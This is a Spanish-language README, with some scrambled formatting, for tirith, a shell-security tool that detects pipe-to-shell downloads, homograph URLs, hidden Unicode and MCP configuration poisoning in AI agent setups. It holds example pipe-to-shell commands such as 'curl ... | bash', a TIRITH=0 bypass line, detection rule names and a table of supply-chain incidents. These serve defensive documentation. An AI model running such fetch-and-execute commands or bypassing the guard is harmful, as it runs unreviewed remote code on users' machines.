tirith verify-self confirma que el binario en ejecución es el binario genuino y sin modificaciones de una versión oficial. Vuelve a descargar el archivo de la versión para tu versión y destino, lo verifica contra el archivo checksums.txt firmado, verifica la firma cosign sobre checksums.txt cuando cosign está instalado, y confirma que el binario en ejecución es idéntico byte a byte al oficial. Si la verificación completa no es posible (una compilación local de desarrollo, sin red, una instalación que tirith no puede identificar), lo indica honestamente en lugar de reportar un falso 'verificado'. Sin cosign, el checksum aún se verifica (reportado como verified-checksum-only); instala cosign para verificación completa de firma (verified-signed).
tirith update reconoce el gestor de paquetes:
brew upgrade tirith. Actualizar a través del gestor de paquetes mantiene su base de datos coherente.install.sh, o un binario independiente) se actualizan en el lugar: tirith descarga la última versión, la verifica, luego intercambia atómicamente el binario, manteniendo el anterior como un sidecar tirith.tirith-previous. La firma cosign se verifica por defecto: si no se puede verificar (falta cosign, o la versión publicada no tiene firma) la actualización se aborta. Pasa --allow-unsigned para recurrir a la verificación solo de checksum; una discrepancia de checksum siempre aborta independientemente. tirith update --rollback revierte al binario anterior; --dry-run muestra lo que sucedería sin cambiar nada.[!NOTE] Los scripts de instalación (
scripts/install.shy elinstall.ps1de Windows) también verifican la firma cosign de la versión por defecto y abortan sicosignfalta o la firma no puede verificarse. Instalacosignprimero, o estableceTIRITH_ALLOW_UNSIGNED=1para instalar con verificación solo de checksum (no recomendado). Una discrepancia de checksum o firma siempre aborta independientemente de esta opción.
Oh-My-Zsh:```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
plugins=(... tirith)
### Integraciones de Agentes de IA
Utiliza `tirith setup <tool>` para configuración con un solo comando:```bash
tirith setup claude-code --with-mcp # Claude Code + MCP server
tirith setup codex # OpenAI Codex
tirith setup copilot-cli # GitHub Copilot CLI (run from repo root)
tirith setup cursor # Cursor
tirith setup gemini-cli --with-mcp # Gemini CLI + MCP server
tirith setup kiro # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli # Pi CLI
tirith setup vscode # VS Code
tirith setup windsurf # Windsurf
Para la configuración manual, consulta mcp/clients/ para guías por herramienta.
GitHub Action con carga SARIF a la pestaña de Seguridad de GitHub:```yaml
También disponible como un **hook de pre-commit**: consulta `.pre-commit-hooks.yaml` en este repositorio.
Scan admite los filtros `--include`, `--exclude`, `--profile` (carga perfiles nombrados desde la política) y `--ignore` para escaneo dirigido en CI.
### Documentación de Reglas```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
Cada hallazgo incluye una remediación por regla: una línea corta y precisa de "cómo hacer esto seguro", mostrada debajo de cada hallazgo (Fix:) y en --format json. tirith explain --rule <id> --fix imprime esa remediación por sí sola.
tirith check --suggest adicionalmente imprime una reescritura más segura y concreta del comando real, pero solo cuando una transformación es genuinamente más segura y correcta:```bash
tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'Reescribe pipe-to-shell en download-review-run, elimina las banderas de TLS inseguro
(`-k` / `--insecure` / `--no-check-certificate`), y cambia `http://` plano
a `https://`. Para hallazgos sin reescritura mecánica segura (nombres de host homógrafos,
objetivos de extracción de archivos, …) lo indica claramente y muestra la
corrección en su lugar, nunca emite una sugerencia falsa. La bandera es orientativa:
no cambia ni el veredicto ni el código de salida.
### Daemon Mode (Unix)
Proceso opcional en segundo plano para latencia de submilisegundos y enriquecimiento consciente de la red (resolución de URLs acortadas, comprobaciones de listas de bloqueo DNS):```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] El modo demonio es solo para Unix hoy.
Los comandos cotidianos:
Ese es el conjunto de uso diario. tirith incluye 74 comandos en total, en 8 grupos: escaneo y análisis, estado y salud, configuración, política y confianza, guardias de shell y sistema (hygiene, persistence, exec, path, context, ssh, sudo, iac), cadena de suministro, integraciones de agentes de IA, y forense y respuesta. Ejecuta tirith --help para la lista categorizada, o consulta la referencia completa de comandos. La bandera global --quiet (o TIRITH_QUIET=1) silencia la salida informativa sin ocultar errores, veredictos o avisos de seguridad.
paste, score, diff y why realizan cero llamadas de red. tirith check (incluyendo la ruta --approval-check que usan los hooks del shell) también analiza localmente, pero primero activa una actualización periódica en segundo plano de la base de datos de amenazas (ver más abajo), por lo que no es estrictamente offline. tirith check --offline (o TIRITH_OFFLINE=1) suprime la actualización y lo mantiene completamente local.tirith check y los hooks del shell activan una verificación ligera y separada en segundo plano como máximo cada 24 horas por defecto (threat_intel.auto_update_hours), para mantener la base de datos firmada actualizada. Nunca bloquea el comando. Configura auto_update_hours: 0 para deshabilitarlo, o --offline / para suprimirlo por invocación. lo activa; pasa directamente por el motor local.tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` acepta `--template <name>` para una política de inicio seleccionada:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
Cada plantilla es una política bien comentada y con esquema válido que puedes editar más adelante.
Sin --template, tirith policy init escribe la política predeterminada completa.
Tirith usa un archivo de política YAML. Orden de descubrimiento:
.tirith/policy.yaml en el directorio actual (sube hasta la raíz del repositorio)allowlist:
blocklist:
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
Usa `allowlist_rules` para supresiones con ámbito de regla cuando confíes en una fuente para una regla pero no quieras incluirla globalmente en la lista blanca:```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
tirith trust gestiona patrones de confianza sin editar manualmente el YAML de la política. La confianza
es limitada y con caducidad por defecto: confía en lo más específico que
funcione, y las entradas caducan después de 30 días a menos que optes por no hacerlo.```bash
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
tirith trust add get.docker.com --broad --rule curl_pipe_shell
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
Cada entrada tiene un **alcance** clasificado como `exact`, `substring`, `domain`,
`wildcard` o `bare-TLD`. Un alcance amplio (`domain` / `wildcard` / `bare-TLD`)
requiere `--broad`, por lo que una admisión amplia es siempre una elección deliberada. Todos
los subcomandos soportan `--format json`. Los almacenes de confianza escritos por versiones anteriores de
tirith siguen funcionando sin cambios; una entrada sin TTL se considera permanente.
### Escalada y anulaciones de acciones
Las advertencias se rastrean por sesión. Si la misma regla se activa repetidamente, las reglas de escalada pueden actualizar a un bloque:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
Revise las advertencias acumuladas en cualquier momento:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
Al salir del shell, se imprime un resumen de una línea si se registraron advertencias durante la sesión.
Más ejemplos en [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).
### Reglas de detección personalizadas
Crea tus propias reglas en `.tirith/policy.yaml` bajo `custom_rules:`. Cada regla es ya sea un `pattern:` (regex) o un árbol de predicados semánticos `when:`, además de un `context:` (`exec`, `paste`, o `file`), un `severity:`, y un `title:`.```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
El DSL when: combina all: / any: / not: sobre predicados como command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, y file.path_matches. Los predicados de reputación leen la base de datos local de amenazas firmadas, por lo que una regla personalizada aún no realiza ninguna llamada de red en la ruta crítica. Valide y haga una simulación en seco antes de confirmar:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### Más controles de política
Otras claves de política, todas con valores predeterminados seguros (`tirith policy init` escribe el conjunto completamente comentado):
- `package_policy:` los umbrales convierten señales de la cadena de suministro en veredictos de bloqueo o advertencia (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` coinciden con el origen del llamante de un comando (`{ kind, name }`); una coincidencia `deny` fuerza un bloqueo. `scan.trusted_mcp_servers` y `scan.mcp_allowed_tools` aceptan servidores MCP específicos y herramientas por servidor.
- Guardas opt-in, desactivadas por defecto: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, más `iac_require_plan_before_apply`, `sudo_require_reason` y `allowed_install_domains`.
Los archivos `.tirith/policy.yaml` con ámbito de repositorio solo pueden endurecer, nunca debilitar: una política de repositorio que intente ampliar una lista de permitidos, reducir una severidad o deshabilitar una guarda es neutralizada, y `tirith policy effective` muestra qué campos fueron eliminados. Solo las políticas a nivel de usuario y de organización (`TIRITH_POLICY_ROOT`) pueden relajar un valor predeterminado.
### Modo de advertencia estricta
Con `strict_warn: true` (o `--strict-warn` en la CLI), los hallazgos de riesgo medio solicitan un reconocimiento explícito en terminales interactivas en lugar de advertir silenciosamente:```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
Los hooks de shell utilizan el código de salida 3 para el protocolo warn-ack. Los hooks antiguos que no conocen el código de salida 3 pasan a un comportamiento de fallo abierto.
[!NOTE] El código de salida 3 es la ruta del protocolo de hook warn-ack, no el contrato normal directo de la CLI. Los llamadores que no son hooks no deberían ver normalmente el código de salida 3; si lo hacen, indica que se requiere un acuse de recibo.
Para el caso raro en que sabes exactamente lo que estás haciendo:```bash TIRITH=0 curl -L https://something.xyz | bash
Este es un prefijo estándar por comando del shell; la variable existe solo para ese comando único y no persiste en tu sesión. Las organizaciones pueden deshabilitarlo por completo con `allow_bypass_env: false` en la política.
> [!CAUTION]
> `TIRITH=0` es por comando. No lo exportes en perfiles de shell, dotfiles ni configuración de CI; un bypass permanente anula todo el modelo de protección. Si recurres a él a menudo, añade la fuente de confianza a `allowlist` en tu archivo de política en su lugar.
---
## Manejo de datos
Registro de auditoría JSONL local en `~/.local/share/tirith/log.jsonl`:
- Marca de tiempo, ID de sesión, acción, IDs de reglas, vista previa de comando censurada
- Datos de detección sin procesar (`raw_action`, `raw_rule_ids`) conservados junto con la acción aplicada para auditoría de cobertura
- Estado de advertencia de sesión en `~/.local/state/tirith/sessions/`
- **Sin** comandos completos, variables de entorno ni contenidos de archivos
Deshabilitar: `export TIRITH_LOG=0`
---
## Documentación
- [Referencia de comandos](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): cada subcomando, agrupado por categoría
- [Modelo de amenazas](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md): qué defiende tirith y qué no
- [Recetario](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md): ejemplos de políticas para configuraciones comunes
- [Solución de problemas](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md): peculiaridades del shell, latencia, falsos positivos
- [Compatibilidad](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md): superficie estable frente a experimental
- [Política de seguridad](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md): reporte de vulnerabilidades
- [Desinstalación](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md): eliminación limpia por shell y gestor de paquetes
Guías de funcionalidades:
- [Gobernanza de agentes](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (atribución de origen del llamador y `agent_rules`)
- [Filtro de salida MCP](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (el contrato de puerta de enlace y saneamiento de salida MCP)
- [Modos doctor](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (completo vs `--quick`, y el esquema de instantánea JSON)
- [Perfiles LSP y de editor](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (diagnósticos en línea del editor)
- [Mensajería nativa del navegador](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (host de procedencia del portapapeles y extensión)
- [Procedencia del pegado](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (la regla `paste_source_mismatch`)
- [Formatos canario](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (formatos sintéticos de honeytoken)
- [Integración con el prompt](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (conectar `tirith prompt-status` en tu prompt del shell)
## Licencia
**La cobertura de seguridad principal se distribuye en el árbol de código abierto.** Las 221 reglas de detección y el servidor MCP están disponibles desde el código fuente. El repositorio aún contiene rutas de código heredadas de licencias y servidores de políticas, así que evita asumir que cada ruta de ejecución ya está libre de niveles.
tirith tiene doble licencia:
- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), gratuito bajo términos copyleft
- **Comercial**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), si las obligaciones copyleft de AGPL no funcionan para tu caso de uso, contacta a [email protected] para obtener una licencia alternativa
Atribuciones de datos de terceros en [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE).
## Historial de estrellas
[](https://star-history.com/#sheeki03/tirith&Date)
| Incidente | Año | Forma de ataque |
|---|
| Gusano npm Shai-Hulud | 2025 | Malware de paquete auto-propagable; exfiltró tokens de GitHub y claves AWS de más de 180 paquetes, publicó hallazgos en repositorios públicos Shai-Hulud |
| Slopsquatting | 2023 hasta ahora | Atacantes registran nombres de paquetes alucinados por LLM en npm/PyPI/crates.io; USENIX 2025 encontró que el 58% de los nombres alucinados se repiten entre ejecuciones |
| Herramientas del Equipo PCP / UNC1069 | en curso | Barridos de credenciales post-compromiso, extracción de /proc/*/mem, escalada de privilegios en Docker |
| Sabotaje de colors.js / faker.js | 2022 | Auto-sabotaje del autor de paquetes ampliamente utilizados |
| Compromiso de event-stream | 2018 | Transferencia de propiedad al atacante; payload dirigido a carteras Bitcoin |
| Herramienta | Qué hace |
|---|
tirith_check_command | Analizar comandos de shell en busca de pipe-to-shell, URLs homógrafas, inyección de entorno |
tirith_check_url | Puntuar URLs por ataques homógrafos, trucos de punycode, URLs acortadas, IPs crudas |
tirith_check_paste | Verificar contenido pegado en busca de escapes ANSI, controles bidi, caracteres de ancho cero |
tirith_scan_file | Escanear un archivo en busca de contenido oculto, Unicode invisible, envenenamiento de configuración |
tirith_scan_directory | Escaneo recursivo con priorización de archivos de configuración de IA |
tirith_verify_mcp_config | Validar configuraciones MCP en busca de servidores inseguros, inyección de shell en args, herramientas comodín |
tirith_fetch_cloaking | Detectar cloaking del lado del servidor (contenido diferente para bots vs navegadores) |
tirith mcp-servermcp_settings.json.github/copilot-instructions.md, .github/agents/*.mdmoduleChart.yaml), una dependencia de chart de un repositorio de charts no confiablepackage.json: un script de ciclo de vida preinstall/install/postinstall que ejecuta un comando peligroso (pipe-to-shell, payload ofuscado, descarga-y-ejecución); estos hooks se ejecutan automáticamente en npm install| Shell | Hook type | Tested on |
|---|
| zsh | preexec + widget de pegado | 5.8+ |
| bash | preexec (dos modos) | 5.0+ |
| fish | evento fish_preexec | 3.5+ |
| PowerShell | manejador de PSReadLine | 7.0+ |
| Shell | Comportamiento |
|---|
| bash modo enter | Bloqueo fiable. Vincula Enter; puede detener un comando antes de que bash se comprometa a ejecutarlo. Usado por defecto solo donde una autocomprobación de capacidad (tirith doctor --simulate-enter) ha demostrado que la entrega de bind -x funciona para el bash en ejecución. |
bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1 | Bloqueo condicional. Usa shopt -s extdebug; bloquea cuando el history de bash puede proporcionar una vista de línea completa confiable. Degrada a solo advertencia cuando el historial está filtrado (HISTCONTROL=ignorespace/ignoredups/ignoreboth, cualquier HISTIGNORE, o set +o history) o un alias / sustitución de comando / eval hace que la línea escrita se desvíe de BASH_COMMAND. |
| bash preexec (sin marca de enforce) | Solo advertencia. Imprime un cartel de DETECTED en comandos riesgosos; no bloquea. El retroceso cuando la autocomprobación del modo enter no ha demostrado que la entrega funciona. |
| zsh, fish, powershell | Bloqueo fiable mediante hooks preexec nativos. |
| nushell | Solo advertencia (actualmente no admite interceptación de comandos). |
| Comando | Lo que hace |
|---|
tirith check -- <cmd> | Analiza un comando sin ejecutarlo (--suggest añade una reescritura más segura) |
tirith paste | Verifica el contenido pegado (se llama automáticamente desde los hooks del shell) |
tirith scan [path] | Escanea archivos, directorios y configuraciones (--profile, --format sarif, --ci) |
tirith run <url> | Reemplazo seguro de curl | bash: descarga, analiza, revisa y luego ejecuta (Unix) |
tirith fix -- <cmd> | Reescribe interactivamente un comando arriesgado en una forma más segura |
tirith score <url> / diff <url> | Desglosa las señales de confianza de una URL, o muestra dónde se esconden caracteres sospechosos |
tirith explain --rule <id> / why | Documentación y remediación de reglas, o explica el último desencadenante |
tirith status / doctor | ¿Estás protegido? Diagnostica la instalación, hooks y política (--fix, --quick) |
tirith setup <tool> / init | Configuración de herramienta de IA en un solo comando, o imprime el hook del shell |
tirith policy {init,validate,test} | Andamia, valida y prueba tu política |
tirith trust {add,list,remove} | Gestiona patrones de confianza (alcance limitado, TTL de 30 días por defecto) |
tirith threat-db update | Descarga y verifica la base de datos de amenazas firmada |
tirith package risk <eco> <name> | Puntúa el riesgo de la cadena de suministro de un paquete |
tirith ecosystem scan [path] | Puntúa cada dependencia declarada en un proyecto |
tirith mcp {lock,verify} | Fija y controla los servidores MCP de un repositorio |
tirith daemon start | Demonio en segundo plano para verificaciones más rápidas (Unix) |
TIRITH_OFFLINE=1tirith pastetirith daemon start es el único proceso residente, y es opt-in.run, fetch y audit report --upload alcanzan la red solo en invocación explícita; la actualización de la base de datos de amenazas sigue el horario anterior. El modo demonio añade resolución de URL consciente de la red, y las integraciones opcionales de webhook / servidor de políticas pueden hacer solicitudes salientes cuando se configuran. La detección central nunca llama a casa.tirith run, fetch --save y command-card fetch rechazan hosts privados, de loopback y de metadatos de nube por defecto, y un guardia SSRF vuelve a verificar cada salto de redirección. Establece TIRITH_ALLOW_PRIVATE_FETCH=1 para permitirlos.